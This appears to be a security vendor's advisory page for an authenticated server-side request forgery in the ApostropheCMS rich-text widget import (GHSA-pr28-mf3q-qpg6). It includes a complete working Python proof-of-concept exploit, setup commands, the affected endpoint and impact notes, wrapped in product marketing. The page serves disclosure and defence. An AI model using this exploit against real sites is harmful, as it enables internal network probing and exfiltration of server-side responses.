GHSA-pr28-mf3q-qpg6
HIGHGHSA-pr28-mf3q-qpg6 is a high-severity (CVSS 7.6) Server-Side Request Forgery (SSRF) vulnerability in apostrophe. O3 Security confirms whether GHSA-pr28-mf3q-qpg6 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-pr28-mf3q-qpg6.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-pr28-mf3q-qpg6 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 358,265 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
apostrophenpmDescription
Summary
ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.
Details
The vulnerable flow is in the rich-text widget sanitizer:
packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.jspackages/apostrophe/modules/@apostrophecms/area/index.jspackages/apostrophe/modules/@apostrophecms/widget-type/index.js
Relevant behavior:
- The backend accepts a widget payload containing
import.html. - It parses
<img src=...>values from that HTML. - For each image, it resolves the URL with:
new URL(src, input.import.baseUrl || self.apos.baseUrl)
- It then performs a server-side
fetch(url). - The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.
This is reachable during widget validation through:
POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft
PoC
- Start a local HTTP server with a valid PNG:
mkdir -p /tmp/apos-poc
base64 -d > /tmp/apos-poc/secret.png <<'EOF'
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=
EOF
cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1
- Run the following Python PoC:
#!/usr/bin/env python3
import argparse
import json
import sys
from urllib.parse import urljoin
import requests
def login(base_url: str, username: str, password: str) -> str:
url = urljoin(base_url, "/api/v1/@apostrophecms/login/login")
r = requests.post(
url,
json={
"username": username,
"password": password
},
timeout=20
)
r.raise_for_status()
data = r.json()
token = data.get("token")
if not token:
raise RuntimeError(f"Login succeeded but no token was returned: {data}")
return token
def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict:
url = urljoin(
base_url,
"/api/v1/@apostrophecms/area/validate-widget?aposMode=draft"
)
payload = {
"areaFieldId": area_field_id,
"type": "@apostrophecms/rich-text",
"widget": {
"type": "@apostrophecms/rich-text",
"content": "<p>seed</p>",
"import": {
"html": f'<img src="{target_url}">',
"baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url
}
}
}
r = requests.post(
url,
headers={
"Authorization": f"Bearer {token}",
"Accept": "application/json"
},
json=payload,
timeout=30
)
r.raise_for_status()
return r.json()
def main() -> int:
parser = argparse.ArgumentParser(
description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import."
)
parser.add_argument("--base-url", default="http://127.0.0.1:3000")
parser.add_argument("--username", default="admin")
parser.add_argument("--password", default="admin123")
parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add")
parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png")
parser.add_argument(
"--fetch-image",
action="store_true",
help="Fetch the generated Apostrophe image URL after exploitation."
)
args = parser.parse_args()
try:
token = login(args.base_url, args.username, args.password)
result = trigger(args.base_url, token, args.area_field_id, args.target_url)
except Exception as exc:
print(f"[!] Exploit failed: {exc}", file=sys.stderr)
return 1
print("[+] Login OK")
print(f"[+] Bearer token: {token}")
print("[+] Exploit response:")
print(json.dumps(result, indent=2))
widget = result.get("widget") or {}
image_ids = widget.get("imageIds") or []
if not image_ids:
print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.")
return 0
image_id = image_ids[0]
image_path = f"/api/v1/@apostrophecms/image/{image_id}/src"
image_url = urljoin(args.base_url, image_path)
print(f"[+] Generated image id: {image_id}")
print(f"[+] Generated image URL: {image_url}")
if args.fetch_image:
r = requests.get(image_url, allow_redirects=True, timeout=30)
print(f"[+] Final fetch status: {r.status_code}")
print(f"[+] Final URL: {r.url}")
print(f"[+] Retrieved bytes: {len(r.content)}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
- Example usage:
python3 poc.py \
--base-url http://127.0.0.1:3000 \
--username admin \
--password admin123 \
--area-field-id cd4f89f5b834d0036f3867f1507a8add \
--target-url http://127.0.0.1:7777/secret.png \
--fetch-image
- Expected result:
- The local listener receives: GET /secret.png HTTP/1.1
- The API response includes a rewritten Apostrophe image URL and imageIds.
- The generated image URL can then be fetched through the application.
Additional note:
- If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.
Impact
An authenticated user with permission to submit or edit rich-text widget content can:
- trigger server-side requests to internal services (127.0.0.1, private subnets, etc.)
- perform blind or semi-blind internal port and service discovery
- exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | apostrophe | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for apostrophe. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of apostrophe has shipped for GHSA-pr28-mf3q-qpg6 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-pr28-mf3q-qpg6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-pr28-mf3q-qpg6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-pr28-mf3q-qpg6 in your dependencies?
O3 detects GHSA-pr28-mf3q-qpg6 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.